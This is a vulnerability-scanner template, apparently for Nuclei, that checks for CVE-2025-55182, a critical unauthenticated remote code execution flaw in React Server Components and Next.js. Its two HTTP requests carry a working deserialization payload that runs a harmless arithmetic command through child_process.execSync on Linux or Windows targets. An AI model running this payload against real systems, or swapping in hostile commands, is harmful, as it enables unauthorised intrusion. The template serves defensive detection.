React Server Components - Remote Code Execution

id: CVE-2025-55182

info:
  name: React Server Components - Remote Code Execution
  author: DhiyaneshDk,princechaddha,assetnote,lachlan2k,maple3142,iamnooob
  severity: critical
  description: |
    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,
    react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused
    by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting
    unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version that fixes the unsafe deserialization issue.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
    - https://www.facebook.com/security/advisories/cve-2025-55182
    - http://www.openwall.com/lists/oss-security/2025/12/03/4
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
    - https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
    - https://vercel.com/changelog/cve-2025-55182
    - https://github.com/Chocapikk/CVE-2025-55182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-55182
    epss-score: 0.46718
    epss-percentile: 0.97544
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,rce,nextjs,oast,kev,vkev

variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    stop-at-first-match: true
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')"
# digest: 4b0a00483046022100c4dcd19e84fe65489a4d4c58622652b1a97ce829a1862039c1515740b2995ff5022100f0c85db267b398a10c759fec3a680d49c5820bf8bce05b2f12e443b4c76bebb5:922c64590222798bb761d5b6d8e72950